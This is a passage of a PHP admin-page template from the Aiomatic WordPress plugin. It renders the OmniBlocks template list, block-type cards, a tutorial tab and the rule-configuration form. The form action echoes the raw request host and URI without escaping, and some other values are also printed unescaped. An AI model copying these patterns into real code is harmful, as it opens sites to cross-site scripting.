aiomatic_duplicate_omni_template" id="aiomatic_duplicate_omni_template_<?php echo $aiomatic_omni_template->ID;?>" dup-id="<?php echo $aiomatic_omni_template->ID;?>"><?php echo esc_html__("Duplicate", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small aiomatic_edit_omni_template" id="aiomatic_edit_omni_template_<?php echo $aiomatic_omni_template->ID;?>" edit-id="<?php echo $aiomatic_omni_template->ID;?>"><?php echo esc_html__("Edit", 'aiomatic-automatic-ai-content-writer');?></button> <button class="button button-small button-link-delete aiomatic_delete_omni_template" id="aiomatic_delete_omni_template_<?php echo $aiomatic_omni_template->ID;?>" delete-id="<?php echo $aiomatic_omni_template->ID;?>"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </div> </td> </tr> <?php } } else { echo '<tr><td colspan="5">' . esc_html__("No OmniBlock Templates added. You can add more using the 'Add New OmniBlock Templates' button from above. You can also import the default templates which come with the plugin, by clicking on the 'Backup/Restore OmniBlock Templates' button from above and afterwards, the 'Import Default OmniBlock Templates' button.", 'aiomatic-automatic-ai-content-writer') . '</td></tr>'; } ?> </tbody> </table> <?php if($aiomatic_omni_temp->have_posts() && $aiomatic_omni_temp->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_omniblocks&wpage=%#%'), 'total' => $aiomatic_omni_temp->max_num_pages, 'current' => $aiomatic_omni_template_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> <br/></hr/><br/> </div> </div> <div id="tab-2" class="tab-content"> <div class="wrap gs_popuptype_holder gs_display_table seo_pops"> <h2><?php echo esc_html__("Available OmniBlock Types:", 'aiomatic-automatic-ai-content-writer');?></h2> <?php $default_cards_showcase = $default_block_types; foreach ($default_cards_showcase as $k => $v): $v['enabled'] = true; $v['link'] = array(); if(isset($v['required_plugin']) && is_array($v['required_plugin'])) { foreach($v['required_plugin'] as $rslug => $rp) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($rslug)) { $v['enabled'] = false; $v['link'][$rp[1]] = $rp[0]; } } } ?> <div class="aiomatic-magic-box-wrap<?php echo ($v['enabled']) ? '' : ' aiomatic-disabled-box';?>"> <?php if(!empty($v['link'])) { ?> <a href="<?php echo key($v['link']);?>" target="_blank"> <?php } ?> <div class="aiomatic-magic-feature <?php echo $k;?>"> <div class="aiomatic-magic-box-title"><?php echo $v['name'];?></div> <div class="aiomatic-magic-box-desc"><?php echo $v['description'];?></div><br/> <div class="aiomatic-magic-box-desc"><?php echo esc_html__('Category:', 'aiomatic-automatic-ai-content-writer') . ' ' . trim($v['category'], ' -');?></div> <?php if(!$v['enabled']) { ?> <br/><div class="aiomatic-magic-box-desc">>> <?php echo esc_html_e('Required plugin not active. Get It Now!', 'aiomatic-automatic-ai-content-writer');?> <<</div> <?php } ?> </div> <?php if(!empty($v['link'])) { ?> </a> <?php } ?> </div> <?php endforeach;?> </div> </div> <div id="tab-0" class="tab-content"> <div class="wrap gs_popuptype_holder gs_display_table seo_pops"> <h2><?php echo esc_html__("Welcome to the AI OmniBlocks Tutorial", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("In this tutorial, we will explore the AI OmniBlocks feature of the Aiomatic plugin, which will be a guaranteed gamechanger for the AI game!", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Getting Started with AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("First, ensure you have installed the latest version of Aiomatic. Be sure to update the plugin to the latest version available for download on CodeCanyon.", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Understanding OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("OmniBlocks are modular AI-driven elements that can be combined and executed sequentially to automate content creation tasks. They will bring limitless potential to AI driven work, allowing you to create your own AI driven task sequence, in a queue.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("For example, the first OmniBlock in a sequence might generate an SEO-optimized blog post title based on input keywords, while subsequent blocks might generate an article outline, and then the full article text. Upcoming blocks can publish the article, while the final blocks can share the article on a specific social network of your choice.", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Meeting OmniBlocks For The First Time", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("Once installed, navigate to the AI OmniBlocks menu in your dashboard where you'll find the following tabs in the menu:", 'aiomatic-automatic-ai-content-writer');?></p> <ul> <li><?php echo esc_html__("OmniBlock Rule Manager", 'aiomatic-automatic-ai-content-writer');?></li> <li><?php echo esc_html__("OmniBlock Template Manager", 'aiomatic-automatic-ai-content-writer');?></li> <li><?php echo esc_html__("OmniBlock Types", 'aiomatic-automatic-ai-content-writer');?></li> <li><?php echo esc_html__("OmniBlock Files", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h2><?php echo esc_html__("Importing Default Templates", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("Begin by importing the default templates that come bundled with the plugin:", 'aiomatic-automatic-ai-content-writer');?></p> <ol> <li><?php echo esc_html__("Go to the OmniBlock Template Manager tab.", 'aiomatic-automatic-ai-content-writer');?></li> <li><?php echo esc_html__("Click on 'Backup/Restore OmniBlock Templates'.", 'aiomatic-automatic-ai-content-writer');?></li> <li><?php echo esc_html__("In the popup, click 'Import Default OmniBlock Templates'.", 'aiomatic-automatic-ai-content-writer');?></li> </ol> <p><?php echo esc_html__("This action refreshes the page and new templates such as 'Amazon Best Sellers', 'Engaging Blog Post Title', and others will appear.", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Configuring OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> <div> <p><strong><?php echo esc_html__("Example:", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("To configure an OmniBlock for creating a simple blog post:", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("1. Enter a keyword in the input field.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("2. Select the relevant template from the Template Manager.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("3. Click 'Save Settings' to ensure all configurations are stored.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("4. Run the OmniBlock rule, using the 'Select an action' button from the created OmniBlock rule.", 'aiomatic-automatic-ai-content-writer');?></p> </div> <h2><?php echo esc_html__("Creating Custom Templates", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("You can also create your own OmniBlock templates by combining different types of blocks as per your specific needs. This is particularly useful for more complex tasks that require customized workflows.", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Testing and Feedback", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("Since AI OmniBlocks are still in beta, testing them thoroughly and providing feedback is crucial. If you encounter any issues or have suggestions for improvements, you can contact via the email listed on the YouTube channel or leave a comment under the video.", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("Conclusion", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("This feature, although still under development, represents a significant advancement in automating content creation within the Aiomatic environment. With further refinement and user feedback, it will become even more powerful.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Thank you for following this tutorial. Look forward to more updates on this feature!", 'aiomatic-automatic-ai-content-writer');?></p> <h2><?php echo esc_html__("OmniBlocks Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/vuyssxmxP_Y" frameborder="0" allowfullscreen></iframe></div></p> </div> </div> <div id="tab-1" class="tab-content"> <div class="wrap gs_popuptype_holder seo_pops"> <div> <form novalidate id="myForm" method="post" action="<?php echo (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";?>"> <?php wp_nonce_field('aiomatic_save_rules', '_aiomaticr_nonce'); if (isset($_GET['settings-updated'])) { ?> <div> <p class="cr_saved_notif"><strong><?php echo esc_html__("Settings saved.", 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div> <div class="hideMain"> <hr/> <div class="table-responsive"> <table id="mainRules" class="aiomatic-automation responsive table cr_main_table"> <thead> <tr> <th class="cr_width_160"> <?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("This is the ID of the rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Keywords", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Set the main keywords which will be processed by this automation task. Enter a keyword on each line. You will be able to access the values of these keywords, from the AI process, using the following shortcode: %%keyword%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("Schedule", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php $unlocker = get_option('aiomatic_minute_running_unlocked', false); if($unlocker == '1') { echo esc_html__("Select the interval in minutes after which you want this rule to run. Defined in minutes.", 'aiomatic-automatic-ai-content-writer'); } else { echo esc_html__("Select the interval in hours after which you want this rule to run. Defined in hours.", 'aiomatic-automatic-ai-content-writer'); } ?> </div> </div> </th> <th> <?php echo esc_html__("# Actions", 'aiomatic-automatic-ai-content-writer');?>* <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Select the maximum number of keywords to process in a single run.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("OmniBlock Manager", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Configures OmniBlocks for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th> <?php echo esc_html__("More Settings", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Configure advanced settings for this rule.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Del", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Do you want to delete this rule?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_width_60"> <?php echo esc_html__("Active", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Do you want to enable this rule? You can deactivate any rule (you don't have to delete them to deactivate them).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <br/> <input type="checkbox" onchange="thisonChangeHandler(this)" id="exclusion"> </th> <th class="cr_width_160"> <?php echo esc_html__("Info", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("The number of items (posts, pages) this rule has generated so far.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> <th class="cr_actions"> <?php echo esc_html__("Actions", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px disable_drag"> <?php echo esc_html__("Do you want to run this rule now? Note that only one instance of a rule is allowed at once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </th> </tr> </thead> <tbody> <?php echo aiomatic_expand_rules_omni($default_block_types, $all_models, $all_models_function, $all_dalle_models, $all_stable_models, $all_assistants, $all_stable_sizes, $all_midjourney_sizes, $all_stable_video_sizes, $all_dalle_sizes, $all_scraper_types, $aiomatic_Main_Settings, $all_formats, $language_names, $language_codes, $deepl_auth, $language_names_deepl, $language_codes_deepl, $bing_auth, $language_names_bing, $language_codes_bing, $temp_list, $aiomatic_tax_names); if(isset($_GET['aiomatic_page'])) { $current_page = $_GET['aiomatic_page']; } else { $current_page = ''; } if($current_page == '' || (is_numeric($current_page) && $current_page == $max_pages)) { ?> <tr> <td class="cr_short_td"><input type="text" name="aiomatic_omni_list[rule_description][]" id="rule_description" class="cr_center" placeholder="Rule ID" value="" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_omni_list[main_keywords][]" placeholder="Main keywords" class="cr_width_full"></textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" name="aiomatic_omni_list[schedule][]" max="8765812" class="cr_width_60" placeholder="Select the rule schedule interval" value="24"/></td> <td class="cr_comm_td"><input type="number" step="1" min="0" name="aiomatic_omni_list[max][]" class="cr_width_60" placeholder="Select the # of generated posts" value="1" /></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnauto" value="Configure"> <div id="mymodalauto" class="codemodalauto"> <div class="codemodalauto-content"> <div class="codemodalauto-header"> <span id="aiomatic_auto_close" class="codecloseauto">×</span> <h2><span class="cr_color_white"><?php echo esc_html__("New Rule", 'aiomatic-automatic-ai-content-writer');?></span> - <?php echo esc_html__("AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?></h2> </div> <div class="codemodalauto-body"> <div class="table-responsive"> <table class="aiomatic-automation responsive table cr_main_table_nowr"> <tbody class="aiomatic-tbody-automation"> <tr><td class="aiomatic_block_me" colspan="2"> <h2><?php echo esc_html__("Manage AI OmniBlocks", 'aiomatic-automatic-ai-content-writer');?>:</h2> <div class="aiseparator aistart"><b><?php echo esc_html__("OmniBlock Queue Starts Here", 'aiomatic-automatic-ai-content-writer');?></b></div> </td></tr> <tr> <td colspan="2"> <input type="hidden" id="sortable_cards" name="aiomatic_omni_list[aiomatic_sortable_cards][]" value="<?php echo htmlspecialchars(json_encode($default_cards));?>"> <ul id="aiomatic_sortable_cards" name="aiomatic_sortable_cards"> <?php $global_index = '1'; if(empty($default_block_types)) { echo esc_html__('No AI OmniBlock Types Added To This Rule', 'aiomatic-automatic-ai-content-writer'); } else { $exec = 1; $shortcodes_arr = array('%%keyword%%'); foreach ($default_cards as $card_id) { if(!empty($card_id['type'])) { $assistant_helper = uniqid(); $urlrandval = uniqid(); $global_index = $card_id['identifier']; $card_type_found = array(); foreach($default_block_types as $def_card) { if($card_id['type'] == $def_card['id']) { $card_type_found = $def_card; break; } } if(empty($card_type_found)) { aiomatic_log_to_file('Warning! OmniBlock type not found for: ' . print_r($card_id, true)); } else { $local_shortcodes = array(); foreach($card_type_found['shortcodes'] as $shtc) { $local_shortcodes[] = '%%' . $shtc . $card_id['identifier'] . '%%'; } $plugin_required = array(); if(!empty($card_type_found['required_plugin'])) { foreach($card_type_found['required_plugin'] as $pslug => $pname) { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active($pslug)) { $plugin_required[] = 'You need enable the "' . $pname[0] . '" plugin for this OmniBlock type to work: ' . $pname[1]; } } } echo '<li data-id-str="" class="omniblock-card"><input data-clone-index="xc' . uniqid() . '" class="cr_center aiomatic-bold aiomatic-indigo omniblock-title" card-type="' . esc_html($card_type_found['id']) . '" type="text" placeholder="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" title="' . esc_html__('OmniBlock Title', 'aiomatic-automatic-ai-content-writer') . '" value="' . esc_attr($card_id['name']) . '"> <input type="hidden" class="omniblock-id" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr($card_id['identifier']) . '"> <input type="hidden" class="omniblock-shortcodes" card-type="' . esc_html($card_type_found['id']) . '" value="' . esc_attr(implode(',', $local_shortcodes)) . '">'; if($card_type_found['id'] == 'text_spinner') { if (!isset($aiomatic_Main_Settings['spin_text']) || $aiomatic_Main_Settings['spin_text'] === 'disabled') { $plugin_required[] = 'Spinning disabled from \'Settings\' -> \'Bulk Posts\' tab -> \'Spin Text Using Word Synonyms\' settings field, this OmniBlock will not function'; } if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'bulk') { $plugin_required[] = 'Spinning disabled for OmniBlocks, from plugin\'s \'Settings\' menu -> \'Bulk Posts\' tab -> \'Enable Spinner For\' settings field, this OmniBlock will not function'; } } elseif($card_type_found['id'] == 'embeddings') { if ((!isset($aiomatic_Main_Settings['pinecone_app_id']) || trim($aiomatic_Main_Settings['pinecone_app_id']) == '') && (!isset($aiomatic_Main_Settings['qdrant_app_id']) || trim($aiomatic_Main_Settings['qdrant_app_id']) == '')) { $plugin_required[] = 'You must add an OpenAI/AiomaticAPI API Key into the plugin\'s \'Settings\' menu before you can use this feature!'; } if ((!isset($aiomatic_Main_Settings['pinecone_index']) || trim($aiomatic_Main_Settings['pinecone_index']) == '') && (!isset($aiomatic_Main_Settings['qdrant_index']) || trim($aiomatic_Main_Settings['qdrant_index']) == '')) { $plugin_required[] = 'You must add a Pinecone API or a Qdrant API key in the plugin\'s \'Settings\' menu (API Keys tab), before you can use this feature!'; } } foreach($card_id['parameters'] as $name => $orig_text) { if(isset($card_type_found['parameters'][$name]) && isset($card_type_found['parameters'][$name]['type']) && ($card_type_found['parameters'][$name]['type'] == 'text' || $card_type_found['parameters'][$name]['type'] == 'textarea' || $card_type_found['parameters'][$name]['type'] == 'url' || $card_type_found['parameters'][$name]['type'] == 'scraper_string')) { foreach($shortcodes_arr as $sha) { $orig_text = str_replace($sha, '', $orig_text); } $incorrect_sh = array(); foreach($default_block_types as $cardt) { foreach($cardt['shortcodes'] as $shc) { preg_match_all('~(%%' . $shc . '[a-zA-Z0-9]*?%%)~', $orig_text, $submatches); if(isset($submatches[1][0])) { foreach($submatches[1] as $incsh) { $incorrect_sh[] = $incsh; } } } } if(!empty($incorrect_sh)) { $plugin_required[] = 'This block has some incorrect shortcodes: ' . implode(',', $incorrect_sh); } } } if(!empty($plugin_required)) { echo '<p class="requirement cr_red"><ul class="requirement cr_red">'; foreach($plugin_required as $pr) { echo '<li>' . $pr . '</li>'; } echo '</ul></p>'; } echo '<div class="card-name'; if($card_type_found['type'] == 'save') { echo ' aisave-content'; } else { echo ' aicreate-content'; } echo '">' . esc_html__('OmniBlock Type:', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Created shortcodes by this OmniBlock (usable in OmniBlocks from below this one): ', 'aiomatic-automatic-ai-content-writer'); echo '<ul>'; foreach($card_type_found['shortcodes'] as $shtc) { echo '<li>%%' . $shtc . $card_id['identifier'] . '%%</li>'; } echo '</ul>'; if (isset($aiomatic_Main_Settings['omni_webhook']) && trim($aiomatic_Main_Settings['omni_webhook']) == 'on') { $rest_url = rest_url('omniblock/v1/webhook'); if(isset($card_id['parameters']['api_key']) && !empty(trim($card_id['parameters']['api_key']))) { $rest_url = add_query_arg('apikey', trim($card_id['parameters']['api_key']), $rest_url); } $rest_url = add_query_arg('omniblockid', trim($cont) . '_' . trim($card_id['identifier']), $rest_url); $rest_url = add_query_arg('input', urlencode('Webhooks in WordPress'), $rest_url); $card_type_found['description'] = str_replace('%%webhook_url%%', '<br/><span class="cr_red disable_drag">' . $rest_url . '</span>', $card_type_found['description']); } else { $card_type_found['description'] = str_replace('%%webhook_url%%', '<span class="cr_red">' . esc_html__('OmniBlock Webhook functionality not enabled in \'Settings\' menu of the plugin!' , 'aiomatic-automatic-ai-content-writer') . '</span>', $card_type_found['description']); } echo '</div></div> ' . esc_attr($card_type_found['name']) . '</div><p class="card-desc">' . $card_type_found['description'] . '</p><div class="ai-collapsible-holder"><button class="aicollapsible" title="' . esc_html__('Show/Hide Parameters', 'aiomatic-automatic-ai-content-writer') . '"><img class="controls-icon" src="' . plugin_dir_url( __FILE__ ) . '../images/controls.png' . '"></button></div><div class="aicollapsible-parameters">'; echo '<h3>' . esc_html__('OmniBlock Parameters', 'aiomatic-automatic-ai-content-writer') . ' <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html__('Set the parameters which will be used in this OmniBlock.', 'aiomatic-automatic-ai-content-writer') . '</div></div></h3><hr/>'; foreach($card_type_found['parameters'] as $name => $card_type) { echo '<h4>' . esc_html($card_type['title']) . ': <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"><div class="bws_hidden_help_text cr_min_260px disable_drag">' . esc_html($card_type['description']) . '</div></div></h4>'; if($card_type['type'] == 'text') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<input type="text" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" data-clone-index="xc' . uniqid() . '" id="xai' . $randval . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'textarea') { $randval = uniqid(); $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<div class="main-holder-short" data-id-str="xai' . $randval . '">'; echo '<textarea class="' . esc_attr($name) . ' cr_width_full" id="xai' . $randval . '" data-clone-index="xc' . uniqid() . '" placeholder="' . esc_html($card_type['placeholder']) . '">' . esc_textarea($value) . '</textarea>'; if(count($shortcodes_arr) > 0) { echo '<div class="shortcode-list" data-id-str="xai' . $randval . '">'; } foreach($shortcodes_arr as $myshort) { $my_id = explode('_', $myshort); $my_id = end($my_id); $my_id = substr($my_id, 0, -2); echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo $myshort; echo '</p>'; } if($def_card['id'] == 'ai_text_foreach' && $name == 'prompt') { echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%current_input_line%%'; echo '</p>'; echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%current_input_line_counter%%'; echo '</p>'; echo '<p class="aishortcodes" data-index="" data-id-str="xai' . $randval . '" title="' . esc_html__('Shortcode created by OmniBlock ID: ', 'aiomatic-automatic-ai-content-writer') . $my_id . '">'; echo '%%all_input_lines%%'; echo '</p>'; } if(count($shortcodes_arr) > 0) { echo '</div>'; } echo '</div>'; } elseif($card_type['type'] == 'model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'model_select_function') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_models_function as $modelx) { echo '<option value="' . esc_attr($modelx) .'"'; if($value == $modelx) { echo ' selected'; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'assistant_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" id="sel_xa' . $assistant_helper . '" data-clone-index="xc' . uniqid() . '" onchange="assistantChanged(\'xa' . $assistant_helper . '\');" class="' . esc_attr($name) . ' cr_width_full">'; if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($value == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . esc_attr($myassistant->ID) .'"'; if($value == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } echo '</select>'; } elseif($card_type['type'] == 'dalle_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_dalle_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'midjourney_image_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_midjourney_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'stable_video_size_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; foreach($all_stable_video_sizes as $sizeid => $sizex) { echo '<option value="' . esc_attr($sizeid) .'"'; if($value == $sizeid) { echo ' selected'; } echo '>' . esc_html($sizex) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_type') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="scraper_selector ' . esc_attr($name) . ' cr_width_full" data-id-str="" data-source-field-id="ur' . $urlrandval . '" data-target-field-id="' . $assistant_helper . '">'; foreach($all_scraper_types as $index => $modelx) { echo '<option value="' . esc_attr($index) .'"'; if($value == $index) { echo ' selected'; } echo '>' . esc_html($modelx) . '</option>'; } echo '</select>'; } elseif($card_type['type'] == 'scraper_string') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<input type="text" data-clone-index="xc' . uniqid() . '" id="st' . $assistant_helper . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'number') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<input type="number" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full" value="' . esc_html($value) . '" placeholder="' . esc_html($card_type['placeholder']) . '">'; } elseif($card_type['type'] == 'checkbox') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select autocomplete="off" data-clone-index="xc' . uniqid() . '" class="' . esc_attr($name) . ' cr_width_full">'; echo '<option value="0"'; if($value == '0') { echo ' selected'; } echo '>' . esc_html__("No", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '<option value="1"'; if($value == '1') { echo ' selected'; } echo '>' . esc_html__("Yes", 'aiomatic-automatic-ai-content-writer') . '</option>'; echo '</select>'; } elseif($card_type['type'] == 'dalle_image_model_select') { $value = ''; if(isset($card_id['parameters'][$name])) { $value = $card_id['parameters'][$name]; } echo '<select 